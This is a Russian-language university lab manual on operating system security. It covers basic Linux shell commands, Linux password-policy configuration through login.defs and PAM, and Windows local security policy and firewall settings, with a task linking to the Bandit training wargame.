Вы находитесь на странице: 1из 109

Введение

Данные методические указания предназначены для студентов


направления 590100 «Информационная безопасность», изучающих
дисциплину общепрофессионального цикла «Безопасность операционных
систем».
Одним из главных инструментов для реализации конкретных
информационных технологий являются информационные системы, задача
обеспечения безопасности которых является приоритетной, так как от
сохранения конфиденциальности, целостности и доступности
информационных ресурсов зависит результат деятельности информационных
систем.
Операционная система является важнейшим программным
компонентом любой вычислительной машины, поэтому от уровня
реализации политики безопасности в каждой конкретной операционной
системе во многом зависит и общая безопасность информационной системы.
В связи с этим знания в области современных методов и средств
обеспечения безопасности операционных систем являются необходимым
условием для формирования специалиста по информационной безопасности
Основной целью дисциплины «Безопасность операционных систем»
является изложение основополагающих принципов защиты информации в
операционных системах и примеров реализации подобных методов на
практике.
Задачи дисциплины «Безопасность операционных систем» - обеспечить
освоение основ:
● принципов построения подсистем защиты в операционных
системах различной архитектуры;
● средств и методов несанкционированного доступа к ресурсам
операционной системы;
● системного подхода к проблеме защиты информации в
операционной системе;
● механизмов защиты информации и возможностей по их
преодолению;
● функционирования операционных систем;
● понятие защищенной операционной системы и защиты сетевого
взаимодействия в операционных системах;
● различных версий операционных систем;
● терминальных команд операционных систем и различных
программных средств анализа журналирования в операционных
системах.
ОБЩИЕ ТЕОРЕТИЧЕСКИЕ СВЕДЕНИЯ

Существует огромное количество методов, подходов и технологий процессов


обеспечения безопасности операционных систем, существуют
фундаментальные базовые процессы, без реализации которых не может
обойтись ни одна операционная система. К данным процессам относятся
следующие:
● Настройка параметров политики безопасности ОС. Политика паролей
– это набор правил, которых нужно придерживаться при установке
пароля. Политика паролей является важным фактором в области
компьютерной безопасности. Поскольку именно пароли пользователей
системы чаще всего становятся причиной взломов и других проблем и
нарушений, большинство компаний и организаций включают политику
паролей в официальный регламент. Все пользователи и пароли должны
соответствовать официальной политике паролей компании;
● Настройка параметров фаервола ОС. Фаервол — это программа,
название которой с английского переводится, как «горящая стена», она
устанавливает преграду между компьютером и поступающей в него
информацией. Существует эквивалент этой программы – брандмауэр.
И это название крайне удачно, поскольку оно отображает суть и
назначение данного приспособления, потому как благодаря
функциональным способностям эта программа повышает степень
защиты компьютера;
● Шифрование файлов в ОС. Encrypting File System (EFS) — система
шифрования данных, реализующая шифрование на уровне файлов в
операционных системах Microsoft Windows NT, за исключением
«домашних» версий. Данная система предоставляет возможность
«прозрачного шифрования» данных, хранящихся на разделах с
файловой системой NTFS, для защиты потенциально
конфиденциальных данных от несанкционированного доступа при
физическом доступе к компьютеру и дискам;
● Журналирование в ОС. Аудит событий. Система аудита необходима
для повышения безопасности ОС. Благодаря ей можно собрать всю
информацию о событиях в системе. В целом система аудита не
обеспечивает защиты, она собирает информацию о нарушениях
безопасности, благодаря которой можно принять какие-то
мероприятия;
● Разграничение доступа в ОС. Основными понятиями процесса
разграничения доступа к объектам ОС являются объект доступа, метод
доступа к объекту и субъект доступа. Объектом доступа (или просто
объектом) называют любой элемент ОС, доступ к которому
пользователей и других субъектов доступа может быть произвольно
ограничен. Возможность доступа к объектам ОС определяется не
только архитектурой ОС, но и текущей политикой безопасности. Под
объектами доступа понимают, как ресурсы оборудования (процессор и
ленты), так и программные ресурсы (файлы, программы).
К современным операционным системам предъявляется ряд требований.
Основным требованием, на данный момент, является выполнение главных
функций эффективного управления ресурсами и обеспечения удобного
интерфейса для пользователя. Нынешняя ОС должна поддерживать
виртуальную память, многооконный графический интерфейс пользователя, а
также высокую степень защиты и удобство работы. Помимо этих требований
функциональной полноты, к ОС предъявляется следующие требования:
● Эффективность. Под эффективностью понимается уровень
соответствия системы своему предназначению, которая оценивается
некоторым показателем эффективности.
● Надежность и отказоустойчивость. Современная ОС должна быть,
так же надежна, как и аппаратная часть (компьютер), на котором она
работает. ОС должна быть защищена как от внешних, так и от
внутренних сбоев и отказов. В случае нештатной работы в программе
или аппаратуре функционирующая система должна обнаружить
ошибку и следуя заданным алгоритмам произвести попытки исправить
положение или, по крайней мере, постараться уменьшить ущерб,
нанесенный этой ошибкой пользователям.
● Безопасность (защищенность). В нашем мире никто не хочет, чтобы
другие ему мешали, или же скомпрометировали его данные. ОС
должна защищать пользователей и от воздействия чужих ошибок, и от
попыток несанкционированного доступа. Исходя из вышесказанного, в
ОС как минимум должен включать в себя процесс идентификации,
аутентификации – определения легальности пользователей,
авторизации – предоставления легальным пользователям
установленных им прав доступа к ресурсам, и аудита – фиксации всех
потенциально опасных для системы событий.
А также ОС должны отвечать таким требованиям как: предсказуемость,
расширяемость, переносимость, совместимость, удобство и
масштабируемость.
Лабораторная работа № 1. Знакомство с ОС Linux
Цель работы: Изучить архитектуру и принципы функционирования
многопользовательской, многозадачной операционной системы Linux,
особенности ее использования в качестве сервера и рабочей станции.
Краткие теоретические сведения
Система включает следующие основные компоненты:
Ядро. Выполняет функции управления памятью, процессорами.
Осуществляет диспетчеризацию выполнения всех программ и обслуживание
внешних устройств. Все действия, связанные с вводом/выводом и
выполнением системных операций, выполняются с помощью системных
вызовов. Системные вызовы реализуют программный интерфейс между
программами и ядром. Имеется возможность динамического
конфигурирования ядра.
Диспетчер процессов Init. Активизирует процессы, необходимые для
нормальной работы системы и производит их начальную инициализацию.
Обеспечивает завершение работы системы, организует сеансы работы
пользователей, в том числе, для удаленных терминалов.
Интерпретатор команд Shell. Анализирует команды, вводимые с
терминала либо из командного файла, и передает их для выполнения в ядро
системы. Команды обычно имеют аргументы и параметры, которые
обеспечивают модернизацию выполняемых действий. Shell является также
языком программирования, на котором можно создавать командные файлы
(shell-файлы). При входе в ОС пользователь получает копию интерпретатора
shell в качестве родительского процесса. Далее, после ввода команды
пользователем создается порожденный процесс, называемый процессом-
потомком. Т.е. после запуска ОС каждый новый процесс функционирует
только как процесс - потомок уже существующего процесса. В ОС Linux
имеется возможность динамического порождения и управления процессами.
Shell - интерпретатор в соответствии с требованиями стандарта POSIX
поддерживает графический экранный интерфейс, реализованный средствами
языка программирования Tcl/Tk.
Обязательным в системе является интерпретатор Bash, полностью
соответствующий стандарту POSIX. В качестве Shell может быть
использована оболочка mc с интерфейсом, подобным Norton Commander.
Сетевой графический интерфейс X-сервер (X-Windows).
Обеспечивает поддержку графических оболочек.
Графические оболочки KDE, Gnome. Отличительными свойствами
KDE являются: минимальные требования к аппаратуре, высокая надежность,
интернационализация. Базовые библиотеки KDE (qt, kde-libs) признаны
одними из лучших продуктов по созданию графического интерфейса,
обеспечивают простое написание программ с использованием передовых
технологий. Gnome имеет развитые графические возможности, но более
требователен к аппаратным средствам.
Сетевая поддержка NFS, SMB, TCP/IP. NFS - программный комплекс
РС-NFS (Network File System) для выполнения сетевых функций. РС-NFS
ориентирован для конкретной ОС персонального компьютера (PC) и
включает драйверы для работы в сети и дополнительные утилиты. SMB -
сетевая файловая система, совместимая с Windows NT. TCP/IP - протокол
контроля передачи данных (Transfer Control Protocol/Internet Protocol). Сеть
по протоколам TCP/IP является неотъемлемой частью ОС семейства UNIX.
Поддерживаются любые сети, от локальных до Internet, с использованием
только встроенных сетевых средств.
Инструментальные средства программирования. Основой средств
программирования является компилятор GCC или его экспериментальные
версии EGCS и PGCC для языков С и С++; модули поддержки других языков
программирования (Obective C, Фортран, Паскаль, Modula-3, Ада, Java и др.);
интегрированные среды и средства визуального проектирования: Kdevelop,
Xwpe; средства адаптации привязки программ AUTOCONFIG, AUTOMAKE.

Регистрация пользователя в системе


Для входа пользователя с терминала в многопользовательскую
операционную систему LINUX необходимо зарегистрироваться в качестве
пользователя. Для этого нужно после сообщения
Login:
ввести системное имя пользователя, например, "student". Если имя задано
верно, выводится запрос на ввод пароля:
Password:
Наберите пароль "student" и нажмите клавишу Enter.
Если имя или пароль указаны неверно, сообщение login повторяется.
Значение пароля проверяется в системном файле password, где приводятся и
другие сведения о пользователях. После правильного ответа появляется
приветствие LINUX и приглашение:
student@linux:>
Вы получили доступ к ресурсам ОС LINUX.
Выход из системы
exit - окончание сеанса пользователя.
Выполнение простых команд
Формат команд в ОС LINUX следующий:
имя команды [аргументы] [параметры] [метасимволы]
Имя команды может содержать любое допустимое имя файла;
аргументы - одна или несколько букв со знаком минус (-); параметры -
передаваемые значения для обработки; метасимволы интерпретируются как
специальные операции. В квадратных скобках указываются необязательные
части команд.
Введите команду echo, которая выдает на экран свои аргументы:
echo good morning
и нажмите клавишу Enter. На экране появится приветствие "good morning" –
аргумент команды echo. Командный интерпретатор shell вызвал команду
echo, реализованную в виде программы на языке СИ, и передал ей
аргументы. После этого интерпретатор команд вывел знак-приглашение.
Синтаксис команды echo:
echo [-n] [arg1] [arg2] [arg3]...
Команда помещает в стандартный вывод свои аргументы, разделенные
пробелами и завершаемые символом перевода строки. При наличии флага -n
символ перевода строки исключается.
who [am i] - получение информации о работающих пользователях.
В квадратных скобках указываются аргументы команды, которые можно
опустить. Ответ представляется в виде таблицы, которая содержит
следующую информацию:
- идентификатор пользователя;
- идентификатор терминала;
- дата подключения;
- время подключения.
date - вывод на экран текущей даты и текущего времени.
cal [[месяц]год] - календарь; если календарь не помещается на одном
экране, то используется команда cal год | more и клавишей пробела
производится постраничный вывод информации.
man <название команды> - вызов электронного справочника об
указанной команде. Выход из справочника - нажатие клавиши Q.
Команда man man сообщает информацию о том, как пользоваться
справочником.
tty - сообщение имени специального файла стандартного вывода,
соответствующего терминалу пользователя.
cat <имя файла> - вывод содержимого файла на экран. Команда cat >
text.1 создает новый файл с именем text.1, который можно заполнить
символьными строками, вводя их с клавиатуры. Нажатие клавиши Enter
создает новую строку. Завершение ввода - нажатие Ctrl - d. Команда cat
text.1 > text.2 пересылает содержимое файла text.1 в файл text.2. Слияние
файлов осуществляется командой cat text.1 text.2 > text.3.
ls [-alrstu] [имя] - вывод содержимого каталога на экран. Если
аргумент не указан, выдается содержимое текущего каталога.
Аргументы команды:
-a - выводит список всех файлов и каталогов, в том числе и скрытых;
-l - выводит список файлов в расширенном формате, показывая тип
каждого элемента, полномочия, владельца, размер и дату последней
модификации;
- r - выводит список в порядке, обратном заданному;
- s - выводит размеры каждого файла;
- t - перечисляет файлы и каталоги в соответствии с датой их последней
модификации;
- u - перечисляет файлы и каталоги в порядке, обратном их последней
модификации.
cd (change directory)– команда смены каталога/директории (папки)
cd /
/dir1
/dir1/dir2
/dir1/dir2/dir3
Find — это одна из наиболее важных и часто используемых утилит
системы Linux. Это команда для поиска файлов и каталогов на основе
специальных условий. Ее можно использовать в различных обстоятельствах,
например, для поиска файлов по разрешениям, владельцам, группам, типу,
размеру и другим подобным критериям.

find [папка] [параметры] критерий шаблон [действие]

Папка — каталог в котором будем искать


Параметры — дополнительные параметры, например, глубина поиска.
Критерий — по какому критерию будем искать: имя, дата создания,
права, владелец и т д.
Шаблон — непосредственно значение по которому будем отбирать
файлы.
ОСНОВНЫЕ ПАРАМЕТРЫ КОМАНДЫ FIND
Параметр Описание
-P никогда не открывать символические ссылки
-L получает информацию о файлах по символическим ссылкам.
Важно для дальнейшей обработки, чтобы обрабатывалась не
ссылка, а сам файл.
-maxdepth максимальная глубина поиска по подкаталогам, для поиска
только в текущем каталоге установите 1.
-depth искать сначала в текущем каталоге, а потом в подкаталогах
-mount искать файлы только в этой файловой системе.
-version показать версию утилиты find
-print выводить полные имена файлов
-type f искать только файлы
-type d поиск папки в Linux

КРИТЕРИИ
Критерий Описание
-name  поиск файлов по имени
-perm  поиск файлов в Linux по режиму доступа
-user  поиск файлов по владельцу
-group поиск по группе
-mtime поиск по времени модификации файла
-atime  поиск файлов по дате последнего чтения
-nogroup  поиск файлов, не принадлежащих ни одной
группе
-nouser поиск файлов без владельцев
-newer найти файлы новее чем указанный
-size поиск файлов в Linux по их размеру

file - Команда file проводит серию тестов, пытаясь классифицировать


файлы, указанные в командной строке. Если файл текстовый, команда
пытается по первым 512 байтам угадать язык программирования. Для
выполняемых файлов выдается также номер версии, если он больше 0 [см.
ld(1)].
file [-c] [-f файл_имен] [-m магический_файл] файл ...
Опциям команды file:
Опция Описание
-c Проверка правильности формата магического
файла. По соображениям эффективности эта
проверка обычно не делается. При наличии
опции -c типы файлов не определяются.
-f файл_имен Определяются типы файлов, имена которых
заданы в файле_имен.
-m магический_файл Задается магический_файл, отличный от
стандартного, /etc/magic. Магический файл
содержит список магических чисел, по которым
и производится классификация. Комментарии в
начале файла /etc/magic об ясняют его формат.

grep – поиск образца в файле


Команда grep без опций и аргумента
grep [ОБРАЗЕЦ] [имя_файла]

С опциями:
grep [опция] [ОБРАЗЕЦ]

Опции grep:
Опция Описание
-b Предваряет каждую строку номером блока, в котором она была
найдена. Это может пригодиться при поиске блоков по контексту
(блоки нумеруются с 0).
-c Выдает только количество строк, содержащих образец.
-h Предотвращает выдачу имени файла, содержащего
сопоставившуюся строку, перед собственно строкой. Используется
при поиске по нескольким файлам.
-i Игнорирует регистр символов при сравнениях.
-l Выдает только имена файлов, содержащих сопоставившиеся
строки, по одному в строке. Если образец найден в нескольких
строках файла, имя файла не повторяется.
-n Выдает перед каждой строкой ее номер в файле (строки
нумеруются с 1).
-s Подавляет выдачу сообщений о не существующих или
недоступных для чтения файлах.
-v Выдает все строки, за исключением содержащих образец.
-w Ищет выражение как слово, как если бы оно было окружено
метасимволами \< и \>.

rm <имя файла> - удаление файла (файлов). Команда rm text.1 text.2


text.3 удаляет файлы text.1, text.2, text.3. Другие варианты этой команды - rm
text.[123] или rm text.[1-3].
wc [имя файла] - вывод числа строк, слов и символов в файле.
clear - очистка экрана.

Группирование команд
Группы команд или сложные команды могут формироваться с
помощью специальных символов (метасимволов):
& - процесс выполняется в фоновом режиме, не дожидаясь окончания
предыдущих процессов;
? - шаблон, распространяется только на один символ;
* - шаблон, распространяется на все оставшиеся символы;
| - программный канал - стандартный вывод одного процесса является
стандартным вводом другого;
> - переадресация вывода в файл;
< - переадресация ввода из файла;
; - если в списке команд команды отделяются друг от друга точкой с
запятой, то они выполняются друг за другом;
&& - эта конструкция между командами означает, что последующая
команда выполняется только при нормальном завершении предыдущей
команды ( код возврата 0 );
|| - последующая команда выполняется только, если не выполнилась
предыдущая команда ( код возврата 1 );
() - группирование команд в скобки;
{ } - группирование команд с объединенным выводом;
[] - указание диапазона или явное перечисление ( без запятых);
>> - добавление содержимого файла в конец другого файла.

Примеры.
who | wc - подсчет количества работающих пользователей командой wс
(word count - счет слов);
cat text.1 > text.2 - содержимое файла text.1 пересылается в файл text.2;
mail student < file.txt - электронная почта передает файл file.txt всем
пользователям, перечисленным в командной строке;
cat text.1,text.2 - просматриваются файлы text.1 и text.2;
cat text.1 >> text.2 - добавление файла text.1 в конец файла text.2;
cc primer.c & - трансляция СИ - программы в фоновом режиме. Имя
выполняемой программы по умолчанию a.out.
cc -o primer.o primer.c - трансляция СИ-программы с образованием
файла выполняемой программы с именем primer.o;
rm text.* - удаление всех файлов с именем text;
{cat text.1; cat text.2} | lpr - пpосмотp файлов text.1 и text.2 и вывод их
на печать;
ps [al] [number] - команда для вывода информации о процессах:
-a - вывод информации обо всех активных процессах, запущенных с
вашего терминала;
-l - полная информация о процессах;
number - номер процесса.
Команда ps без параметров выводит информацию только об активных
процессах, запущенных с данного терминала, в том числе и фоновых. На
экран выводится подробная информация обо всех активных процессах в
следующей форме:
F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME
CMD
1 S 200 210 7 0 2 20 80 30 703a 03 0:07 cc
1 R 12 419 7 11 5 20 56 20 03 0:12 ps

F - флаг процесса (1 - в оперативной памяти, 2 - системный процесс, 4 -


заблокирован в ОЗУ, 20 - находится под управлением другого процесса, 10 -
подвергнут свопингу);
S - состояние процесса (O - выполняется процессором , S - задержан, R
- готов к выполнению, I - создается);
UID - идентификатор пользователя;
PID - идентификатор процесса;
PPID - номер родительского процесса;
C - степень загруженности процессора;
PRI - приоритет процесса, вычисляется по значению переменной NICE
и чем больше число, тем меньше его приоритет;
NI - значение переменной NICE для вычисления динамического
приоритета, принимает величины от 0 до 39;
ADDR - адрес процесса в памяти;
SZ - объем ОЗУ, занимаемый процессом;
WCHAN - имя события, до которого процесс задержан, для активного
процесса - пробел;
TTY - номер управляющего терминала для процесса;
TIME - время выполнения процесса;
CMD - команда, которая породила процесс.
sort [-dr] - сортировка входных файлов и вывод результата на экран.
Задание
✔ Ознакомиться с теоретической частью к лабораторной работе.
✔ Перейти по ссылке и пройти до 23 уровня
http://overthewire.org/wargames/bandit/bandit0.html
✔ Создать текстовый файл (с расширением TXT), записать
результаты, командой САТ показать преподавателю их на экране.
✔ Заполнить отчет по лабораторной работе и сдать его
преподавателю.

Контрольные вопросы

✔ Для чего предназначена команда grep?


✔ Какие параметры имеет команда file и что она делает?
✔ Для чего используется команда find?
✔ Отличие команд sort и uniq?
✔ Что делает команда ps?
Лабораторная работа №2. Терминал и командная оболочка ОС Linux

Цель работы: Приобрести опыт работы с командной строкой ОС Linux,


изучить основные команды (рабочая станция, рабочий директорий,
пользователи, дата, календарь, список процессов, завершение работы)
Краткие теоретические сведения
Стандартные команды в Linux отличаются от команд DOS и Windows -
обычно они короче. При работе с командной строкой как обычно мигающий
курсор обозначает позицию ввода текста, командная строка начинается с
текущего пути и имени компьютера, за которым следует символ $, % или #.
Последний означает, что команды будут выполняться от имени
суперпользователя root. Символ ~ означает путь к текущей домашней
директории пользователя.
Большинство команд в Linux, не требующих вывода информации
пользователю, в случае успешного завершения вообще ничего не выводят на
экран. Выводятся только ошибки и предупреждения в случае нарушения
нормального выполнения команды. Т.е. в Linux действует общий принцип
"молчит, значит работает".
Терминал — эмулятор консоли. Именно в терминале мы будем
работать с CLI (интерфейсом командной строки). Терминал часто также
называют консолью или шеллом (от англ. shell — оболочка). Многие
пользователи и в особенности администраторы серверов под Linux в работе
используют именно консоль, а не графическую оболочку, это связано с тем,
что настройка и конфигурация Linux в основном заключается, в
редактировании текстовых конфигурационных файлов. Даже если вы
являетесь простым пользователем ОС Linux, большинство инструкций по
настройке написаны с использованием консоли и знать основные команды
жизненно необходимо.
Стоит обратить внимание на системные каталоги ОС в которых
находятся файлы, необходимые для управления и сопровождения системы, а
также стандартные программы. Их имена, расположение и содержание почти
одинаковы почти во всех ОС Linux, поэтому эти каталоги называют также
стандартными. Краткое описание основных каталогов сведено в таблицу 1.
Таблица 3.Системные каталоги OC Linux
Каталог Назначение
/bin Основные программы, необходимые для работы в системе:
командные оболочки, файловые утилиты и т.п.
/sbin Команды для системного администрирования, а также
программы, выполняемые входе загрузки
/boot Файлы, необходимые для загрузки системы (образ ядра)
/home Домашние каталоги пользователей, кроме root
/dev Файлы устройств
/etc Файлы настроек: стартовые сценарии, конфигурационные
файлы графической системы и различных приложений
/lib Системные библиотеки, необходимые для основных программ,
и модули ядра
/ Восстановленные после аварийного размонтирования части
lost+found файловой системы
/media Сюда обычно монтируются съемные носители: компакт-диски,
flash-накопители
/mnt Временные точки монтирования жестких дисков.
Использовать этот каталог необязательно: подмонтировать
файловую систему можно к любому другому каталогу
/opt Дополнительные пакеты программ. Если программа,
установленная сюда, больше не нужна, то достаточно удалить
ее каталог без обычной процедуры деинсталляции
/proc Виртуальная файловая система, дающая доступ к информации
ядра (например, выведите на экран файл /proc/cpuinfo). Другие
файлы в этом каталоге в каждый момент времени содержат
информацию о выполняющихся в этот момент программах
/root Домашний каталог суперпользователя. Домашние каталоги
всех остальных могут находиться на отдельном разделе, но
/root должен быть в корневой файловой системе, чтобы
администратор всегда мог войти в систему для ремонтных
работ
/tmp Временные файлы
/var Часто меняющиеся данные: системные журналы и протоколы
приложений, замки, почтовые ящики, очереди печати и т.п.
/usr Практически все остальное: программы, исходные коды,
документация. Сюда по умолчанию устанавливаются новые
программы
С точки зрения UNIX-подобных ОС, файл представляет собой поток
или последовательность байтов. Такой подход позволяет распространить
понятие файла на множество ресурсов не только локального компьютера, но
и удаленного, связанного с локальной сетью любого рода. Доступ к любому
такому ресурсу осуществляется через универсальный интерфейс, благодаря
чему запись данных в файл, отправка их на физическое устройство или обмен
ими с другой работающей программой происходит аналогично. Это очень
упрощает организацию данных и обмен ими. В ОС Linux можно выделить
следующие типы файлов:
⮚ обычные файлы — последовательность байтов (текстовые документы,
исполняемые программы, библиотеки и т.п.);
⮚ каталоги — именованные наборы ссылок на другие файлы;
⮚ файлы физических устройств, подразделяющихся на:
файлы блочных устройств, драйверы которых буферизуют ввод-вывод
с помощью ядра и файлы байт-ориентированных, или символьных,
устройств, позволяющих связанным с ними драйверам выполнять
буферизацию собственными средствами;
⮚ символические ссылки (symlink, symbolic link); o именованные каналы
(named pipes); o гнезда (sockets).

Задание
✔ Запускаем Linux. После прохождения идентификации включаем
терминал (рис. 7).
Applications > Accessories > Terminal
Рис.7. Терминал Linux Ubuntu

✔ Для работы в терминале Ubuntu требуются права пользователя root, но, к


сожалению, по умолчанию, он недоступен, поэтому для выполнения
некоторых (не всех) команд надо писать sudo <команда>, и
подтверждать свои права вводом пароля (выполнять если нет прав
суперпользователя root).
✔ Для получении справки о дополнительных возможностях некоторых
программ следует набрать <команда> --help
✔ Выполните следующие команды: date, oclock, finger, hwclock, uname,
history, clear, ls.
✔ Создайте нового пользователя, при помощи терминала Ubuntu, и введите
его в группу admin. Создайте пароль пользователю. Войдите под ним в
систему. Процесс создания и ввода в группу внесите в отчет.
✔ Заполнить отчет по лабораторной работе и сдать его преподавателю.
Контрольные вопросы

✔ Системные каталоги OC Linux?


✔ Терминал ОС Linux?
✔ Какие типы файлов существуют в ОС Linux?
Лабораторная работа №3. Настройка параметров парольной политики
безопасности ОС Linux

Цель работы: Приобрести навыки настройки параметров парольной


политики ОС Linux.

Политика паролей – это набор правил, которых нужно придерживаться при


установке пароля. Политика паролей является важным фактором в области
компьютерной безопасности. Поскольку именно пароли пользователей
системы чаще всего становятся причиной взломов и других проблем и
нарушений, большинство компаний и организаций включают политику
паролей в официальный регламент. Все пользователи и пароли должны
соответствовать официальной политике паролей компании.
Политика паролей, как правило, определяется следующими факторами:
o срок действия пароля
o его длина
o сложность
o количество неправильных попыток ввода пароля
o количество раз повторного использования пароля
1. Настройка срока действия и длины пароля
Контроль срока действия пароля и его длины осуществляется при помощи
файла /etc/login.defs. Срок действия пароля (англ. password aging) определяет
максимальное количество дней действия, минимальное количество дней
между изменениями пароля, а также количество дней, в течение которых
предупреждается о необходимости смены пароля. Длина пароля (англ.
password length) определяет минимальное количество символов, которое
должен содержать пароль. Итак, чтобы настроить срок действия и длину
пароля, отредактируйте файл /etc/login.defs и установите значения директив
PASS согласно политике паролей.
Примечание
данные параметры не повлияют на уже существующих пользователей, они
будут действительны только для новых учетных записей!
o PASS_MAX_DAYS – максимальное количество дней действия
пароля (рекомендуется 30 дней).
o PASS_MIN_DAYS – минимальное количество дней между
изменениями пароля (рекомендуется 15 дней).
o PASS_WARN_AGE – количество дней, в течение которых
пользователь предупреждается об истечении срока действия
пароля(7 дней).
2. Настройка сложности и повторного использования пароля
В файле /etc/pam.d/system-auth можно настроить сложность и повторное
использование пароля. Сложность пароля определяется сложностью
комбинации символов, использованных в пароле. Параметры повторного
использования пароля запрещают определенное количество паролей
пользователя, которые были использованы ранее. При установке сложности
пароля можно указать количество цифр, символов, заглавных и строчных
букв, которое должен содержать пароль. Если стандарты сложности пароля
не выполнены, такой пароль не будет принят системой.
o ucredit=-X – обязательное количество заглавных букв в пароле;
o lcredit=-X – обязательное количество строчных букв в пароле;
o dcredit=-X – количество цифр, которое должен содержать пароль;
o ocredit=-X – количество символов (*,-,!, и т.д.) в пароле.
Примечание
замените Х требуемым числом. 
Например:
password requisite pam_cracklib.so try_first_pass retry=3 type= ucredit=-2
lcredit=-2 dcredit=-2 ocredit=-2

● remember=X – параметр повторного использования паролей, где Х –


количество ранее использованных паролей, которые нужно запретить.
Например:
password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok
remember=5
3. Ограничение количества неправильных попыток ввода пароля
Количество неправильных попыток ввода пароля устанавливается в файле
/etc/pam.d/password-auth.
Этот параметр задает количество неправильных попыток ввода пароля,
которое может совершить пользователь, прежде чем он будет заблокирован.
Позже системный администратор может разблокировать учетную запись.
Чтобы настроить количество неудачных попыток входа, добавьте две новые
строки в файл /etc/pam.d/password-auth.
Параметр deny=X задает разрешенное количество неудачных попыток,
прежде чем пользователь будет заблокирован (замените Х нужным числом).

auth required pam_tally2.so deny=3


account required pam_tally2.so
Задание
✔ Ознакомиться с теоретической частью к лабораторной работе.
✔ Практически выполнить пункты указанные (настроить парольные
политики) в лабораторной работе.
✔ Продемонстрировать преподавателю выполненные работы.
Контрольные вопросы
✔ Что представляет собой политика паролей?
✔ Для чего настраиваются параметры парольной политики
безопасности?
✔ Рекомендуемые сроки паролей?
Лабораторная работа №4. Настройка параметров парольной политики
безопасности ОС Windows
Цель работы: Приобрести навыки настройки параметров парольной
политики ОС Windows.

Описаны действия, позволяющие настроить параметр политики безопасности


на локальном устройстве
Примечание
Групповые политики не предназначены для домашних пользователей,
поэтому редактор групповых политик присутствует только в Professional,
Ultimate, и Enterprise версиях Windows
Настройка параметра с помощью консоли "Локальная политика
безопасности":
2. Чтобы открыть оснастку "Локальная политика безопасности",
на начальном экране введите secpol.msc и нажмите клавишу ВВОД.
3. В разделе Параметры безопасности дерева консоли выполните одно
из указанных ниже действий.
o Разверните узел Политики учетных записей, чтобы изменить
параметры раздела Политика паролей или Политика
блокировки учетной записи.
o Разверните узел Локальные политики, чтобы изменить
параметры раздела Политика аудита, Назначение прав
пользователя или Параметры безопасности.
4. В области сведений найдите и дважды щелкните политику
безопасности, которую требуется изменить.
5. Измените параметр политики безопасности и нажмите кнопку ОК.

Примечание  
o Чтобы изменения некоторых параметров вступили в силу,
необходимо перезапустить устройство.
o Изменения прав пользователя вступают в силу при его
следующем входе в учетную запись.
Настройка параметра политики безопасности с помощью консоли
редактора локальной групповой политики
Для выполнения описанных действий у вас должны быть разрешения,
позволяющие устанавливать и использовать консоль управления (MMC), а
также обновлять объект групповой политики (GPO) на контроллере домена.
1. Откройте редактор локальной групповой политики (gpedit.msc).
2. В дереве консоли щелкните раздел Конфигурация
компьютера, Параметры Windows, а затем Параметры
безопасности.
3. Выполните одно из указанных ниже действий.
o Разверните узел Политики учетных записей, чтобы изменить
параметры раздела Политика паролей или Политика
блокировки учетной записи.
o Разверните узел Локальные политики, чтобы изменить
параметры раздела Политика аудита, Назначение прав
пользователя или Параметры безопасности.
4. В области сведений дважды щелкните параметр политики
безопасности, который вы хотите изменить.

Примечание
Если эта политика безопасности еще не определена, установите флажок
Определить параметры политики.

5. Измените параметр политики безопасности и нажмите кнопку ОК.

Примечание  
Если вы хотите настроить параметры безопасности для нескольких устройств
в сети, для этого можно использовать консоль управления групповыми
политиками
Задание
✔ Ознакомиться с теоретической частью к лабораторной работе.
✔ Практически выполнить пункты указанные (настроить парольные
политики) в лабораторной работе.
✔ Продемонстрировать преподавателю выполненные работы.
Контрольные вопросы
✔ В каких версиях ОС Windows имеются консоли
администрирования групповых политик безопасности?
✔ Какой срок действия паролей самый оптимальный?
✔ В локальной политике безопасности, какие группы политик
присутствуют и для чего они?
Лабораторная работа №5. Включение, настройка и отключение
брандмауэра Windows

Цель работы: Приобрести навыки настройки параметров брандмауэра ОС


Windows.
Брандмауэр предназначен для защиты ПК от атак хакеров или
вредоносного ПО через интернет или локальную сеть. Он установлен на всех
устройствах под управлением Windows. Но нужно знать, как включить
брандмауэр Windows и как правильно его настроить.
Где находится
Как и во всех версиях операционной системы, в Windows утилита
находится в Панели управления.

Рисунок 1 Местоположение Брандмауэра Windows

Другой вариант ее запуска – в окне «Выполнить» ввести слово


«брандмауэр». В открывшемся списке он стоит на первом месте.
Примечение
Запустить утилиту можно с помощью команды: firewall.cpl, которую
введите в окне «Выполнить».

Рисунок 2 Запуск Брандмауэра Windows

Как включить
По умолчанию эта защитная утилита в Windows всегда включена. Но
если вы увидели, что она не работает, нужно ее активировать.
1. Панель управления > Брандмауэр > Включение и отключение
брандмауэра Windows.

Рисунок 3 Брандмауэр Windows


2. Для разделов «Параметры для частной сети» и «Параметры для
общественной сети» переместите указатель в положение «Включить
брандмауэр Windows» и подтвердите действия нажатием кнопки Ок.

Рисунок 4 Вкл/выкл утилиты

Настройка

Для корректной работы утилита должна быть правильно настроена. Поэтому


очень редко юзеры используют ее установки по умолчанию.

Добавление исключений

Добавление исключений в защитник Windows позволит не выключать


утилиту полностью для полноценной работы той программы, которую она
блокирует. Поэтому вы сможете запустить нужное приложение и не
лишитесь надежного защитника.

1. Панель управления > Брандмауэр > Разрешение взаимодействия с


приложением или компонентом в брандмауэре Windows > нажмите
кнопки «Изменить параметры» (если активна), и после этого «Разрешить
другие приложения».

2. В открывшемся окне для поиска нужного приложения нажмите «Обзор».


После выбора приложения нажмите «Добавить».

3. Программа появится в списке разрешенных программ и компонент.


Установите напротив нее галочки в пунктах «Частная» и «Публичная» сети и
подтвердите изменения.

Рисунок 5 Добавление в исключение

Открытие портов
Для увеличения безопасности компьютера утилита блокирует все
подключения по неосновным портам. Но если пользователю нужно
подключить, к примеру ftp-сервер, появится трафик по порту 20 и 21.
Поэтому их нужно открыть.
1. Панель управления > Брандмауэр > Дополнительные параметры >
откроется окно «Брандмауэр в режиме повышенной безопасности».

2. Выберите слева в разделе «Правила для входящих подключений» и


нажмите справа кнопку «Создать правило».

Рисунок 6 Открытие портов

3. В окне «Мастер создания правила для нового входящего подключения»


установите указатель на пункте «Для порта».

Примечание
Если нужно сделать свободный доступ ко всем портам для определенной
программы, установите переключатель в положение «Для программы».

4. Укажите протокол, к которому будет применено правило, установив


переключатель в нужную позицию: TCP или UDP.

5. Отметьте указателем пункт «Определенные локальные порты» и укажите


их номера.

Примечание

Не устанавливайте переключатель в положение «Все локальные порты»,


потому что злоумышленникам в этом случае будет намного легче взломать
ваш ПК.

